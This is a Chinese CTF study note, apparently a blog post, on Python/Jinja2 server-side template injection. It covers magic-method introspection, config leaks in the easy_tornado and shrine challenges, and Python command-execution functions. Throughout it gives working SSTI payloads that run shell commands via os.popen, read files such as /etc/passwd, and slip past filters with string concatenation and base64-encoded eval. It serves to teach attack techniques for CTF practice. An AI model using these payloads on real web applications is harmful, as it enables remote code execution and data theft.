0x1 魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
0x2 利用总结
自动化工具
tplmap
查配置文件
什么是查配置文件?我们都知道一个python框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。这里拿两个例题来简单举例:
easy_tornado
这个题目发现模板注入后的一个关键考点在于handler.settings
。这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一。分析官方文档可以发现handler.settings其实指向的是RequestHandler.application.settings,即可以获取当前application.settings,从中获取到敏感信息。
shrine
这个题目直接给出了源码,flag被写入了配置文件中
app.config['FLAG'] = os.environ.pop('FLAG')
同样在此题的Flask框架中,我们可以通过内置的config对象直接访问该应用的配置信息。不过此题设置了WAF,并不能直接访问{{config}}
得到配置文件而是需要进行一些绕过。这个题目很有意思,开拓思路。
总结一下这类题目,为了内省框架,我们应该:
查阅相关框架的文档
使用
dir
内省locals
对象来查看所有能够使用的模板上下文使用dir深入内省所有对象
直接分析框架源码
这里发掘到一个2018TWCTF-Shrine的writeup,内省request对象的例子:传送门
命令执行
命令执行,其实就是前面我们介绍的沙盒溢出的操作。在python环境下,由于在SSTI发生时,以Jinja2为例,在渲染的时候会把{{}}
包裹的内容当做变量解析替换,在{{}}
包裹中我们插入''.__class__.__mro__[-1].__subclasses__()[40]
类似的payload也能够被先解析而后结果字符串替换成模板中的具体内容。
- 寻找可以利用的类和子集如:<type 'file'>、<class 'site._Printer'>、<class 'os._wrap_close'> 和 function popen、system等。
- 使用可以利用的类和子集寻找flag的路径
- 打印出flag
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("要执行的语句").read()}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir("./")}}
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen("cat fl4g").read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('filename').read()}}
python环境常用命令执行方式
前面提到了命令执行,那么就有必要了解一下python环境下常用的命令执行方式。
os.system()
用法:os.system(command)
这个调用相当直接,且是同步进行的,程序需要阻塞并等待返回。返回值是依赖于系统的,直接返回系统的调用返回值。
注意:该函数返回命令执行结果的返回值,并不是返回命令的执行输出(执行成功返回0,失败返回-1)
os.popen()
用法:os.popen(command[,mode[,bufsize]])
说明:mode – 模式权限可以是 ‘r’(默认) 或 ‘w’。
popen方法通过p.read()获取终端输出,而且popen需要关闭close().当执行成功时,close()不返回任何值,失败时,close()返回系统返回值(失败返回1). 可见它获取返回值的方式和os.system不同。
subprocess
subprocess 模块有比较多的功能,subprocess模块被推荐用来替换一些老的模块和函数,如:os.system、os.spawn、os.popen等
subprocess模块目的是启动一个新的进程并与之通信。这里只讲用来运行shell命令的两个常用方法。
subprocess.call(“command”)
父进程等待子进程完成
返回退出信息(returncode,相当于Linux exit code)
与os.system功能相似,也无执行结果的回显
subprocess.Popen(“command”)
说明:class subprocess.Popen(args, bufsize=0, executable=None, stdin=None, stdout=None, stderr=None, preexec_fn=None, close_fds=False, shell=False, cwd=None, env=None, universal_newlines=False, startupinfo=None, creationflags=0)
Popen非常强大,支持多种参数和模式,通过其构造函数可以看到支持很多参数。但Popen函数存在缺陷在于,它是一个阻塞的方法,如果运行cmd命令时产生内容非常多,函数就容易阻塞。另一点,Popen方法也不会打印出cmd的执行信息。
0x3 ctf中的一些绕过tips
更多请参考:传送门
p师傅也有总结SSTI Bypass
拼接
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
编码
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls').read()")
等价于
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['ZXZhbA=='.decode('base64')]("X19pbXBvcnRfXygnb3MnKS5wb3BlbignbHMnKS5yZWFkKCk=".decode('base64'))
(可以看出单双引号内的都可以编码)
同理还可以进行rot13、16进制编码等
过滤中括号[]
getitem()
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
pop()
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
字典读取
__builtins__['eval']()
__builtins__.eval()
经过测试这种方法在python解释器里不能执行,但是在测试的题目环境下可以执行
Comments | NOTHING